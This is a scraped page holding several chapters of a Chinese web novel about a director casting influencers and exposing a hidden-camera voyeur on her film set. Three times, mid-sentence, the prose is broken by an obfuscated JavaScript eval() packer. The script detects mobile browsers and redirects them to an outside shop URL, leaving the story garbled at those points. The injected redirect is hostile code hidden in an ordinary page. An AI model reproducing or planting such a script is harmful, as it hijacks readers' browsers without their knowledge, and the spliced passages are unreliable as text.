乔舒然盯着屏幕,嘴角慢慢垂下来,“徐铭那篇采访,看来真起作用了。” 前几天的一条新闻,标题扎眼:「专访导演徐铭:《春日负暄》爆红背后的行业思考——当‘流量密码’取代创作初心」 文章写得很有技巧。 徐铭先是夸《春日负暄》“数据亮眼”“切中市场”,话锋一转,开始谈“行业乱象”:“现在有些年轻创作者,稍微做出点成绩就急于自立门户,忽略团队协作的重要性。甚至为了彰显个人风格,故意与前辈唱反调,造成不必要的内耗。” 通篇没提温清水的名字,但字字都在影射。 温清水略微疲惫的靠在椅子上,喝了一大口凉茶。 她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184389|196696||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想起很多年前,自己写的第一本小说被魔改时,站在租屋的窗边,看着楼下廉价霓虹灯牌闪烁,觉得这个行业真大,大得让人窒息。 但现在,她只是平静地看着那片灯火。 她想,此路不通,就换一条走。 “小乔,”她转过身,“我们往网红圈看看。” 乔舒然眼睛一亮,“对啊!我怎么没想到!” 她立刻调出另一个收藏夹,里面全是她收藏的各类帅哥网红。 她笑眯眯,“工作忙得没时间谈恋爱,总得给眼睛吃点冰淇淋,维持一下对美好事物的基本感知。” 温清水被她逗笑,凑过去一起看。 乔舒然如数家珍:“这个,ID叫‘川行山止’,原来是模特,187,肩宽腰窄腿长,穿古装真的绝。你看他去年拍的这组武侠风短片,竹林挽剑花那个镜头,眼神和身段都不输专业演员。” 视频里的男生束着高马尾,一身玄色劲装,在萧萧竹林间腾挪转身。 剑锋划过空气的破风声清晰可闻,最后收势时眼神凛冽如刀,确实不只是摆拍的花架子。 “还有这个,‘舟渡月’,音乐区up主,古琴十级,气质特别干净。你看他这个侧脸,鼻梁线条,还有垂眼时的睫毛阴影,是不是有种‘易碎感’?很适合那种身世坎坷的质子角色。” 画面里的男生坐在仿古的轩窗边抚琴,午后的阳光斜照进来,在他半边脸上镀上柔光,另外半边隐在阴影里。 弦音流淌时,他睫毛微微颤动,栖息着薄薄的忧伤。 温清水仔细看了几个片段,心里渐渐有了轮廓。 “联系这两个。”她说,“还有陆北辰,虽然条件多,但他演技在线,古装扮相也经得起大屏考验,可以谈。第四个角色……” 她滑动鼠标,停在一个视频上。 封面是男生背对镜头站在海边礁石上,白衬衫被海风吹得猎猎鼓荡,标题写着:「关于我为什么从不露正脸——第三年」。 点开,男生始终以侧脸或局部特写出镜。 但声音很好听,低沉,带着青年人特有的悦耳声线。 他在讲一个关于“遗憾与和解”的故事,语调平缓,却莫名抓人。 视频最后,他说:“长相是天赋,但不是全部。我希望你们记住的,是我的声音,或者我试图传递的某种情绪,而不是某一具皮囊。” 评论区有人追问:「到底为什么不敢露脸?是长得不好看吗」 他回复:「如果有一天我露脸,一定是因为某个作品需要我这样做。」 温清水看着那条回复,“联系他。” 乔舒然有些犹豫,“可他连脸都不露,粉丝都叫他‘背影哥’。” “《凤鸣朝歌》里有个角色,”温清水调出人物小传,“隐士剑客谢无音,因少年时遭遇火劫而毁容,常年银面具覆面,隐居深山。这个角色不需要多么惊艳的脸,需要的是神秘感,和一把能传递万千情绪的好嗓子。” 乔舒然恍然大悟,“确实可行。” “对。”温清水合上笔记本电脑,发出一声轻响。 “但是要约他线下见一面,我总要看一下他的气质是否符合。” 暮色彻底沉下来了。 乔舒然抱着笔记本去隔壁小会议室打电话,声音隐约传过来。 “喂,您好,我们是清水工作室……” 温清水重新走回落地窗前,掌心贴上冰凉的玻璃。 玻璃映出她模糊的影子,和窗外万千灯火重叠在一起。 17. 背影哥 视频上传后的第七个小时,点赞数停在了一百二十七万。 林寂坐在黑暗的房间里,只有电脑屏幕的光照亮他半张脸。 他的手指悬在触摸板上,迟迟没有点开那个已经提示了九十九次的新消息图标。 他知道那是什么。 三天前,“虎哥说游”更新了一期“锐评颜值区妖魔鬼怪”的特辑。 视频里的中年男人对着镜头侃侃而谈,背景是他标志性的电竞椅和闪烁的RGB灯光。 “今天咱们聊聊这位,”虎哥拉长声音,屏幕上出现林寂的视频截图,是他站在海边礁石上的背影,“ID叫‘寂’,三百多万粉丝,从来不露脸。粉丝天天吹什么‘氛围感’‘故事感’,要我说,装什么神秘?” 弹幕飘过一片“哈哈哈”和“虎哥真相”。 虎哥把画面放大,鼠标箭头戳着视频里的林寂,“你看这身材,肩窄腰细,瘦得跟竹竿似的。还天天穿白衬衫,风一吹就飘,娘儿们唧唧的。不敢露脸为什么?要么是丑得没法看,要么就是脸上动过刀,见光死。” 林寂看着屏幕,手指慢慢收紧。 初中时的记忆像潮水一样涌上来。 厕所隔间外男生们哄笑的声音,“林妹妹今天又穿白衬衫啊?”“细皮嫩肉的,要不要哥哥们保护你?”“长得跟小姑娘似的,以后怎么娶媳妇?” 那些声音和虎哥的嘲讽重叠在一起,嗡嗡作响。 视频还在继续。 虎哥翻出林寂评论区粉丝的留言,用夸张的语调念出来,“‘寂哥的声音好温柔,像夜里有人轻轻讲故事’,哎哟我天,这都什么矫情文学?还有这个,‘他指夕阳的那个视频我看哭了’,哭啥?哭他不敢露脸?” 弹幕越来越多: 「虎哥怼得好!早就看这些装逼犯不顺眼了」 「男的搞什么氛围感,恶心」 「粉丝都是□□吧,就喜欢这种娘炮」 林寂关掉视频。 但关不掉那些声音。 他的私信爆了,有粉丝来安慰的,有路人来看热闹的,有虎哥的粉丝来辱骂的。 虎哥发了一条新微博,只有两个字:「怂货」。 他盯着那两个字,看了很久。 手机在这时震动起来。 陌生号码,归属地京北。 林寂犹豫了几秒,接起来。 “您好,是‘寂’吗?我是晴天工作室的乔舒然。”女生的声音很清爽,没有试探也没有客套。 “我们导演温清水看了您的视频,想邀请您参演一部短剧。您方便见面聊吗?” 林寂很意外。 他听说过温清水。 《春日负暄》爆火的时候,他的粉丝群里有人发过剪辑,说这个导演很会拍“酸涩感”。 后来他又看了《无声告白》的预告片,苏念在雨里回头的那一幕,他反复看了好几遍。 他开口,声音有些哑,“我没有表演经验。” “导演看中的不是经验,是气质。”乔舒然说,“剧本里有个角色,很适合您。您愿意见面聊聊吗?” 林寂看着电脑屏幕上虎哥那张嘲讽的脸,又看了看窗外沉沉的夜色。 “好。”他说。 茶馆开在老街深处,门口种着几丛竹子,风吹过时沙沙作响。 温清水推门进去时,风铃叮咚一声,穿棉麻长裙的老板娘从柜台后抬起头,对她笑了笑。 “温小姐,林先生在‘听雨’间。” 包厢是半开放式的,竹帘半卷,能看见里面靠窗的位置坐着一个男生。 他穿着浅灰色卫衣,黑色鸭舌帽放在手边,正低头看手机。 温清水走过去时,他抬起了头。 第一眼,温清水有些意外,不是因为他好看,而是因为他比她想象中年轻太多。 皮肤很白,眼睛干净,眼神里有一种小心翼翼地打量。 “温导?”林寂站起来,声音比视频里轻,但那种低沉的质感还在。 “叫我清水就好。”温清水在他对面坐下,“工作室里都这么叫。” 林寂显然还是有些紧张。 他手指在桌下无意识地蜷了蜷,“没想到您这么年轻。” 温清水笑了,“你以为该多大?” “至少,”林寂顿了顿,“四十?像那些资深导演一样。” “资深不在年纪,在作品。”温清水接过老板娘递来的茶单,点了壶白毫银针。 “我看了你最近三个月的视频,每个的运镜和光影都有设计。特别是天台那个,你指心口又指夕阳的镜头,推焦的节奏很好。” “那个镜头,”他轻声说,“其实拍了十七遍。” “看得出来。”温清水接过老板娘递来的茶壶,动作熟练地冲泡,“好镜头都是磨出来的。演戏也一样。” 茶香慢慢溢出来,清雅的花果香。 温清水倒了两杯,推一杯到林寂面前。 “《凤鸣朝歌》,女尊题材,我们工作室接下来的重点项目。”她从包里拿出剧本,翻开人物小传那一页,“里面有个角色叫谢无音,少年时因火劫毁容,常年戴银面具。直到遇见女主,才慢慢摘下面具。不是为惊艳世人,是为面对自己。” 林寂接过剧本,手指抚过“谢无音”三个字。 “前面大部分戏份都戴面具,但最后一集需要露脸。”温清水看着他,“你可以接受吗?” 空气安静了几秒。 庭院里传来潺潺水声,锦鲤跃出水面,又扑通落回去。 林寂抬起头,“您不担心我露脸后,观众失望吗?” “我选演员,不看脸符不符合‘标准’,而是看气质是否符合角色。”温清水端起茶杯,热气氤氲了她的眉眼。 “谢无音需要的不是一张完美的脸,是一张有故事的脸。你的视频里有那种故事感,沉默的,克制的,很淡,但有感情在。” 林寂知道,他不能再逃避了。 现在有这么厉害的导演,愿意给他一次机会。 “最后一集露脸,我可以。”他说,“但需要一点时间准备。” “当然。”温清水微笑,“拍摄周期二十天,露脸戏放在最后一周。这期间你可以慢慢调整状态。” 她合上剧本,语气轻松了些,“明天下午两点,工作室围读剧本。其他演员都会到,你先和大家熟悉熟悉。” “工作室在哪里?” “国贸附近,等会儿发你定位。”温清水拿出手机,手指在屏幕上点了点。 “对了,明天小乔,就是联系你的那个女生会准备下午茶。你喜欢吃什么,她最近沉迷研究各种甜点。” 林寂愣了愣,“都行。” “那就让她自由发挥。”温清水站起来,“明天见。” 第二天下午一点五十,林寂站在“晴天工作室”门口。 工作室在一栋写字楼的二十三层,整层打通做成平层。 透过玻璃能看见里面开阔的空间,落地窗占了大半面墙,CBD的天际线在窗外铺展开来。 乔舒然从里间办公室探出头,看见林寂,笑了,“来啦!快进来,他们都在会议室了。” 她今天穿了件浅粉色的针织开衫,头发扎成高马尾。 经过办公区时,她对那个打电话的男生说:“小陈,下午三点前把设备清单发我邮箱。” “没问题乔姐。”男生比了个OK的手势。 会议室在落地窗边,玻璃隔断,百叶窗半开。 温清水已经站在白板前,正用马克笔写着什么。 听见开门声,她转过头,对林寂点了点头。 “坐。”她指了指空位,“马上开始。” 林寂坐下时,快速扫了一眼在场的人。 周止川坐在靠窗的位置,穿着黑色运动外套,身材挺拔,正低头看剧本。 沈舟在他旁边,米白色毛衣,抱着厚厚的剧本,手指在页边写小字。陆北辰坐在对面,穿着某奢侈品牌的当季衬衫,袖口挽起,姿态有些散漫。 还有一个人林寂认出来了,江挽月。 她坐在温清水旁边,看见林寂,她对他微笑了一下,很温和。 “人都齐了。”温清水放下马克笔,“先互相认识一下,以后要一起工作一个月。” 从周止川开始,大家简单介绍了自己。 轮到林寂时,他顿了顿,“林寂,做视频的,第一次演戏。” 陆北辰挑了挑眉,“视频博主?那得露脸吧?不然怎么吸粉?” 温清水抬起眼,“在这个剧组,我们只看角色适配度,不看露不露脸,也不看粉丝数。” 陆北辰耸耸肩,没再说话。 “我是江挽月。”江挽月的声音温和地接上,“在《凤鸣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17188755|196696||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 朝歌》里演楚凤翎,请大家多关照。” 围读开始。 温清水先分析人物关系。 “楚凤翎和四个男人的感情线,每条都不一样。”她指着白板上的关系图,“和萧寒是惺惺相惜的对手,和谢云深是互相救赎的知己,和秦墨是利益与真情的博弈,和谢无音……” 她看向林寂,“是镜像,他们都曾隐藏自己。楚凤翎用冷漠藏起伤痛,谢无音用面具藏起面容。他们的相遇,是看见彼此隐藏的部分,然后彼此治愈。” 林寂看着剧本,那些文字忽然有了温度。 围读到第三场时,陆北辰忽然说,“温导,我觉得这里秦墨的反应可以再‘硬’一点。他是西域商人,走南闯北的,得有那种糙劲儿。” 他站起来,做了个拍桌的动作,“‘楚凤翎,你以为这是什么地方?’——这样是不是更有气势?” 周止川皱了皱眉,“但这场戏是秦墨在试探,不是真要冲突。太‘硬’了反而显得没城府。” “男人嘛,该狠的时候就得狠。”陆北辰不以为然。 温清水放下剧本,“秦墨是个商人。商人的特质是精明算计,懂得审时度势。他可以在西域装糙汉,但在楚凤翎面前,他应该是收敛的。‘狠’不是男子气概,精准才是。” 陆北辰张了张嘴,江挽月轻声接话,“而且我觉得秦墨这场戏的张力,其实在于他表面的强硬和内心的动摇。如果演得太‘糙’,反而把那种复杂的层次演没了。” 她说得温和,但很有分量。 陆北辰顿了顿,点点头,“有道理。” 沈舟小声说:“其实我觉得温柔一点的男性角色也挺好的。我演谢云深,他就是个温柔的人。但温柔不是弱,是他选择用这种方式来坚持。” 温清水笑了,“小舟说得对。男子气概不是只有一种样子。谢云深的温柔,秦墨的精明萧寒的忠诚,谢无音的沉默,这些都可以是力量。” 她看向所有人,“我们这个剧,想呈现的就是多样性,女性可以强大,男性可以多元,爱可以有很多种形态。” 林寂看着温清水平静的侧脸,也想明白了一些东西。 中场休息时,乔舒然推着餐车进来,上面摆满了点心和饮料。 林寂接过乔舒然递来的奶茶,温热的,甜度刚好。 他喝了一口,芋泥的香气在口腔里化开。 江挽月坐到他旁边,递给他一块小蛋糕,“尝尝这个,不太甜。” “谢谢。”林寂接过。 “紧张吗?”江挽月问,声音很温和。 林寂点头,又摇头。 “我第一次拍戏也紧张。”江挽月笑了,“温导很会带演员。她不会骂人,会耐心讲戏,告诉你为什么这场戏要这样演。跟着她,能学到很多东西。” 林寂看着她。 江挽月的眼神很真诚,没有客套,没有敷衍。 “嗯。”他说。 会议结束时已是傍晚。 温清水收拾着资料,“下周一开始进组拍摄。拍摄地在怀柔,住宿已经安排好了。工作室这边会留人值班,所有后勤支持照常。” 大家陆续起身。 周止川拍了拍林寂的肩,“加个微信?以后对戏方便。” 沈舟也凑过来,“我也加。” 江挽月微笑着掏出手机,“大家都加一下吧,建个群,方便沟通。” 就连陆北辰也慢吞吞地扫了码。 走出工作室时,天已经暗了。 林寂站在电梯口,回头看了一眼。 “晴天工作室”的灯牌亮着暖黄色的光。 他透过玻璃,看见乔舒然还在电脑前工作,另一个员工在整理文件。 温清水站在白板前,还在写着什么。 一切井然有序,充满生机。 他拿出手机,点开虎哥那期视频。评论区还在吵。 但这次,他没有觉得窒息。 他退出视频,打开相机,对着工作室的灯牌拍了一张照片。 然后发到了自己沉寂四天的账号上,配文:「新旅程」 发送成功的提示音响起时,电梯门开了。 林寂走进去,镜面墙壁映出他的脸,清晰的,完整的,没有躲闪。 电梯下降,失重感很轻微。 他看着镜子里那个年轻的自己,很轻地,弯了弯嘴角。 18. 不安分 行李箱轮子碾过楼道地砖,发出均匀的咕噜声。 清晨六点的电梯间很安静,温清水按了下行键,车还有十分钟到。 她靠在墙边,划开手机。 第一个跳出来的就是《无声告白》的剪辑。 封面是黑白的,苏念坐在病床边的侧影,睫毛上悬着一滴将落未落的泪。 点赞数很可观,60.3万。 温清水点开。 视频没有台词,只有一段钢琴前奏,冷清里带了点落寞。 画面从陆子谦端着姜茶站在床边开始,他垂着眼看苏念,眼神里是一种克制的怜爱。 镜头平移到苏念的侧脸。 她在流泪,但没出声,只是眼泪一颗一颗往下掉,砸在手背上。 因为角度,她看不见陆子谦的眼神。 钢琴音忽然拔高一个度。 转场就在这个瞬间发生,还是苏念流泪的侧脸,角度几乎一模一样,但镜头缓缓拉远,画面变了:躺在病床上的人变成了陆子谦,他瘦得颧骨凸起的手从被子里伸出来,指尖很轻地,擦掉苏念脸上的那滴泪。 两个画面叠在一起,流泪的人和被擦泪的人对调。 只是一个转场,什么都没说,又什么都说了。 温清水盯着屏幕,直到视频自动重播。 她犹豫了一下,点开评论区。 热评第一:「天杀的谁教你这么剪的!!!我刚从《无声告白》哭完出来,你又给我一刀!!!」 第二:「这是什么剧??这光影这演技这虐感,三分钟我要知道全部信息!」 下面有人回复:「短剧《无声告白》,草莓平□□播。温馨提示:备好纸巾」 再往下翻: 「刚看完,现在眼睛肿得像被蜜蜂蜇了」 「陆子谦那个眼神我没了,怎么会有人用眼睛说‘我爱你但我要走了’啊」 「苏念哭戏封神了好吗!那种绝望又克制的哭法,比号啕大哭杀伤力大一百倍」 「只有我注意到转场的丝滑程度吗?导演太会拍了」 「楼上+1,这种细腻的镜头语言在短剧里真的少见」 温清水一条条评论翻下去,夸奖的话字句投在心间。 电梯门开了。 车到楼下时,司机帮她放好行李。 驶出小区,城市正在醒来,早点摊冒着热气,穿校服的学生三五成群,公交车靠站又离站。 温清水靠在车窗上,看着流动的街景,心里柔软而踏实。 原来被人看见,被人懂得,是这样的感觉。 很快到了怀柔影视基地,开门的瞬间有微凉的风,混着远处山林飘来的草木气息。 剧组租的酒店就在基地旁边,温清水到的时候,乔舒然已经在大厅等着了。 “房间都安排好了。”乔舒然递给她房卡,“主演全是单间,工作人员双床房,自己组队。蔡妍和她的助理小美住一间,灯光李师傅和道具老王一间。” 她语速很快,但条理清晰。 温清水听着,目光扫过大堂,已经有几个工作人员在吃早餐,看见她,纷纷点头打招呼。 “江挽月到了吗?” “昨晚就到了,在房间看剧本呢。”乔舒然压低声音,“她真的好认真,我昨晚十一点去送水果,她还在标注台词情绪。” 温清水点点头,“其他演员呢?” “周止川一早就去马场热身了,说找找骑马的感觉。沈舟在房间练古琴,他自己带来的。陆北辰,”乔舒然撇撇嘴,“还没起,不过约了九点试妆,应该不会迟到。” 第一场戏在基地的北区,搭了一片仿古军营。 江挽月已经化好妆,一身银甲,长发高束,眉宇间有股英气。 看见温清水,她走过来,“导演,这场骑马戏,我和止川试过了,跑位没问题。” 周止川牵着一匹黑马过来。 他换了戏服,黑衣劲装,腰带束得很紧,衬得肩宽腰窄。 那匹马很高大,毛色油亮,在他手里却温顺。 “温导。”周止川点头,“这马叫黑风,很听话。我和江老师试了两圈,配合度不错。” 温清水看了看监视器里的预构图,又看了看实景,“机位按分镜摆。一号机跟江挽月,二号机抓周止川的反应,三号机升摇臂,我要全景。” 场务打板:“《凤鸣朝歌》第一场第一镜,action!” 马蹄声起。 江挽月策马冲进画面,银甲在晨光里泛着冷光。 她伏在马背上,眼神锐利如鹰,扫过营地的每个角落。 忽然,她勒马,黑风前蹄扬起,长嘶一声。 周止川从帐篷后走出。他没有骑马,只是站在那里,黑衣几乎融进营帐的阴影里。 但江挽月一眼就看到了他。 镜头推近。两人对视,江挽月居高临下,眼神审视;周止川仰头看她,不躲不闪。 风卷起地上的沙尘,在他们之间弥漫开。 “你是谁?”江挽月的声音很冷。 周止川没回答。 他看着她,忽然笑了,“楚将军,久仰。” “Cut!”温清水喊。 监视器里回放刚才的镜头。 江挽月的英气,周止川的沉稳,那种剑拔弩张又暗藏欣赏的气氛,全抓到了。 乔舒然凑过来,眼睛发亮,“怎么样?我选的帅哥,骑马戏都不用替身。” 温清水还在看监视器,嘴角弯了弯,“你最权威。” 蔡妍这时才匆匆赶来,打了个大大的哈欠,“我的妈呀,古装这头发,江老师那顶发套我们做了三天。” 她看了眼温清水,“多亏你又招了两个造型师,不然真弄不完。” “辛苦了。”温清水说,“下午你的重头戏。” “知道知道,陆北辰那套西域商人的行头嘛。”蔡妍摆摆手,又打了个哈欠。 中午放饭,剧组的餐车准时开到。 温清水拿了盒饭,三个人坐在树荫下吃。 乔舒然一边扒饭一边划手机,忽然“哇”了一声。 “清水你看,《无声告白》上线三天,点赞破三百万了!”她把屏幕转过来,“短视频产出量特别大,光是转场剪辑就有十几个爆款。评论区都在夸镜头语言,说这质感不像短剧,像电影。” 蔡妍夹了块虾球,满足地眯起眼,“本来就拍得好。我跟组这么多年,能把光影用到这个程度的导演,不多。” “还有还有,”乔舒然继续翻,“好多人说看完《无声告白》又去补《春日负暄》,结果发现《春日》更早但完成度已经很高了,都说你比徐铭拍得好。” 温清水夹了块排骨,慢慢嚼,“爱屋及乌罢了。观众喜欢一部剧,自然会觉得导演什么都好。我们不能太骄傲。” “知道啦。”乔舒然笑,“该谦虚时谦虚,该自信时自信。” 蔡妍盯着温清水的餐盒,“诶,你虾球不吃?” 温清水低头,发现自己餐盒里的芥末虾球还剩大半。 她不太能吃辣,芥末对她来说有点冲。 “给你。”她把虾球全拨到蔡妍餐盒里。 蔡妍幸福的眯眼,“谢啦!” 下午的戏是陆北辰的主场。 他演西域商人秦墨,要在一场夜市戏里和江挽月交锋。 陆北辰虽然平时有些散漫,但演戏确实不含糊,他把秦墨那种表面油滑、内里精明的劲儿演得活灵活现。 一场对峙戏拍完,温清水喊了“cut”,转头看向他,“北辰,刚才那个转身后眼神变化很好。从算计到欣赏,转得很自然。” 陆北辰愣了一下,似乎没想到会被夸。 他摸了摸鼻子,难得有点不好意思,“应该的。” 夕阳西下时,剧组准备收工。 温清水正在和摄影组确认明天的机位,沈舟和林寂走了过来。 两人站在那儿,欲言又止。 沈舟手指绞着戏服的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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但那个冰冷的摄像头,像一根刺,扎进这个看似融洽的氛围里。 试衣间偷拍,她听说过太多类似的事。有些是私生,有些是内部人员,有些纯粹是心理变态。但无论哪种,都不可原谅。 她走到道具车前。 明天要拍一场雨戏,道具组准备了人造雨和特制的水箱。 温清水的目光落在角落的一个小瓶子上,是“夜光水”,一种特殊的液体,涂在物体上时透明如水,简单清洗不掉,干后在紫外线下会发出荧光。 本来是准备用来做特效的。 她拿起瓶子,拧开闻了闻,无味。 试衣间是临时搭建的板房,分成四个隔间。 温清水走进最里面那间,墙壁和棚顶的接缝处,果然有个不易察觉的缝隙。 她伸手摸了摸,边缘有细微的摩擦痕迹,应该是摄像头被塞进去时留下的。 那个人一定会回来检查。 摄像头掉了,他要么会来找,要么会重新安装新的。 不管是哪种,他都会触碰这个位置。 温清水从口袋掏出纸巾,倒了一点夜光水在上面。 液体确实透明,像普通的水。 她仔细地涂抹在缝隙周围,还有旁边可能被碰到的墙面。 涂得很薄,几乎看不出来。 做完这些,她退后一步,打量这个隔间,换衣凳,挂钩,一面全身镜。 镜子反射的光有些刺眼,映出她冷静的脸。 她把用过的纸巾装进密封袋,走出试衣间。 外面天色已经暗了,基地亮起路灯,投下长长的影子。 乔舒然远远地看见她,挥手,“清水!收工了,回去吃饭!” “来了。”温清水应道。 夜风吹过基地,带着初夏的凉意。 远处山林传来隐约的虫鸣,一声一声。 温清水口袋里装着那个摄像头,指尖还残留着夜光水微凉的触感。 明天,她会知道是谁。 而那个人,会为他的行为付出代价。 19. 责任 第二天清晨五点半,怀柔影视基地还浸在薄薄的晨雾里。 温清水站在服装区外的空地上,手里握着一杯早已凉透的牛奶。 天色是那种将明未明的青灰色,远处山峦的轮廓模糊得像水彩画的晕染。 她来得很早。 温清水的视线漫无目的地扫过陆续亮起灯的板房,大家都很忙,井然有序。 她和一个男人的目光撞上了。 那人站在器材堆放区边上,个子不高,大概一米七出头,挺着个明显的啤酒肚。 他穿着件灰扑扑的工装外套,裤腿沾着泥点。 看见温清水,他愣了一下,随即迅速移开视线,弯腰去搬脚边的木箱。 温清水看着他。 是新进组的场工,叫王茂。 昨天乔舒然给她看过人员名单,备注写的是“临时场工,负责场景搭建和器材搬运”。 她没动声色,只是又喝了口凉掉的牛奶。 塑料杯壁凝着细密的水珠,沾湿了指腹。 六点半,剧组人员陆陆续续到了。 化妆组的姑娘们说说笑笑地走进板房,道具组开始清点今天的用具,周止川穿着运动服从酒店慢跑过来,额头上沁着薄汗。 “温导早。”他点头打招呼。 “早。”温清水应道,目光却在不经意间又扫向器材区。 王茂正和另一个场工一起抬着沉重的轨道车,动作麻利,低着头,没往这边看。 上午第一场是沈舟和江挽月的戏,谢云深在山间采药时偶遇受伤的楚凤翎。 场景搭在基地后山的一片竹林里,晨光透过竹叶缝隙洒下来,在地上投出斑驳的光影。 “Action!” 江挽月饰演的楚凤翎靠在一块山石上,左肩的戏服被撕开一道口子,露出染血的纱布,是昨天拍战场戏留下的伤。 她脸色苍白,但眼神依旧锐利,盯着突然出现的沈舟,手指悄悄摸向腰间的短刀。 沈舟背着药篓,看见她,怔住了。 镜头推近,他眼里先是惊讶,紧接着是医者本能的不忍,最后变成一种小心翼翼的关切。 “姑娘,你受伤了。”他声音很轻,像怕惊扰了她。 江挽月没说话,只是盯着他。 监视器里,她的眼神从警惕慢慢软化,不是完全信任,而是一种“暂且观察”的审慎。 沈舟放下药篓,蹲下身,但没靠近,“我是大夫,可以帮你看看。” 他的动作很缓,每一个停顿都恰到好处。 温清水盯着监视器,在沈舟伸手从药篓里取纱布的瞬间喊了“cut”。 十一点,午餐车还没到,温清水让乔舒然通知所有工作人员到最大的摄影棚集合。 棚里很空旷,搭了一半的宫殿布景在阴影里显得有些森然。 人们三三两两地聚进来,低声议论着什么事。 温清水走到人群前,没拿喇叭,只是提高了声音,“耽误大家一点时间。有件事需要说一下。” 棚里安静下来,所有人都看着她。 “昨天,在女士试衣间发现了针孔摄像头。”温清水说得直接,“我已经报警了,但现在还没抓到人。所以,我需要请大家配合调查。” 人群中响起一阵低低的骚动。 几个女群演互相握紧了手,脸色发白。 男工作人员也交头接耳,有人皱眉,有人摇头。 “我知道这样会打扰大家,”温清水继续说,“但这种恶性事件必须查清楚。在我的剧组里,我不想任何人,尤其是女性工作人员,感到不安全。” 她的目光缓缓扫过人群,“现在,请大家伸出手,手心向上。” 有人疑惑,有人照做。 温清水对站在电闸边的场务点点头。 啪嗒一声,棚里的灯全灭了。 昏暗里,几十双手掌摊开着,有人惊呼了一声。 右前方,一双手掌在昏暗里发出微弱的荧光,淡绿色的。 所有人的目光都聚了过去。 是灯光师李师傅。 他愣愣地看着自己发光的掌心,脸上先是茫然,然后迅速涨红,“这、这是什么?!” 人群炸开了。 “李师傅?怎么会……” “我就说,那天温导不让说脏话他就不高兴……” “平时看着挺老实啊……” 李师傅抬起头,眼睛瞪得老大,“不是我!我什么都没做!” 他声音很大,在空旷的棚里回荡。 温清水没说话,只是看着他。 “温导!”李师傅急急地转向她,“我真没有。我今天是进了试衣间,但那是去打扫。昨天下雨漏水,里面积了水,我怕女同志们换衣服不方便才进去的。” “打扫?”一个声音插了进来,带着明显的讥讽,“李师傅什么时候这么热心了?平时让你多拉根线都不情愿。” 说话的是王茂。 他站在人群外围,抱着胳膊,嘴角撇着,“骗谁呢?” 李师傅额头青筋都凸起来了,“放屁!老子行得正坐得直!” “注意言辞。”乔舒然在旁边轻声提醒。 李师傅哽住了,脸憋得通红。 他个子很高,将近一米九,平时嗓门大脾气冲,这时候气得胸膛剧烈起伏,却说不出一句完整的话。 王茂已经带着两个平时跟他走得近的场工往前挤了,“温导,这种人不能留,得赶紧送派出所!” 李师傅被围在中间,瞪着周围人,手指紧紧攥成拳。 温清水就在这时开口了。 “王茂,”她看向那个啤酒肚男人,“你怎么这么着急啊?” 王茂一愣,“温导,我也是为了剧组安全。” “是吗?”温清水往前走了一步,目光落在他脚上,“那你解释一下,为什么你的鞋底有荧光?” 所有人都低头看向王茂的脚。 他踩着一双运动鞋,鞋底沾着泥土和草屑。 但在昏暗的光线下,鞋的边缘确实透着一圈淡淡的荧光。 “还有你们两个,”温清水看向王茂身边的场工,“鞋底也有。” 那两人慌忙退后,想躲,但已经被周围的人堵住了。 王茂脸色瞬间煞白,“这能说明什么?说不定是我不小心踩到什么。” “踩到什么?”温清水从口袋里掏出一个小瓶子,“昨天我发现摄像头后,在试衣间的地面涂了薄薄一层。它会附着在鞋底,普通清洗洗不掉,只有在黑暗里才会发光。” 她的目光冷下来:“李师傅手掌发光,是因为他今天打扫时用手擦过地面,不过下了雨,早就冲干净了。而你们鞋底发光,是因为昨晚,你们又进去过,对吗?” 棚里死一般的寂静。 王茂嘴唇哆嗦着,想说什么,但发不出声音。 他身边的一个场工腿一软,差点跪下,“温导,温导我们错了!是王哥说去看看摄像头还在不在。” “闭嘴!”王茂吼道。 但已经晚了。 乔舒然已经拨通了电话,“喂,110吗?这里是怀柔影视基地……” 警察来得很快。 王茂和那两个场工被带走时,棚里所有人都沉默地看着。 女群演中有人小声哭了,是后怕,也是松了口气。 温清水走到李师傅面前。 李师傅还僵在原地,脸上一阵红一阵白。 他低头看着自己那双粗糙的大手,荧光已经淡得快看不见了。 “李师傅,”温清水说,“对不起,刚才误会你了。” 李师傅张了张嘴,想说什么,但最后只是闷闷地“嗯”了一声。 “委屈你了。”温清水的声音很真诚,“我知道你平时说话直,但做事认真。这次谢谢你帮忙打扫试衣间。” 李师傅愣愣地看着她。 这个一米九的汉子,平时嗓门大得能掀翻屋顶,这会儿却像个做错事的孩子,手脚都不知道往哪放。 温清水笑了笑,补了一句,“不过以后,还是要注意言辞哦。” 李师傅的脸又红了。 他挠了挠后脑勺,干巴巴地说:“知道了。” 人群渐渐散了。 温清水又去安抚了女群演们,承诺所有影像资料都会作为证据交给警方,绝不会外流。 姑娘们虽然还心有余悸,但情绪稳定了不少,毕竟罪犯抓住了,导演也给了明确的保证。 午餐时间早就过了。 温清水没去领盒饭,直接开始了下午的拍摄。 下午是林寂和江挽月的重头戏,谢无音第一次在楚凤翎面前摘下面具。 不是完全摘,而是掀起一半,让她看自己烧伤的侧脸。 林寂的面具是特制的。 银色,贴合脸部线条,边缘薄得像刀刃。 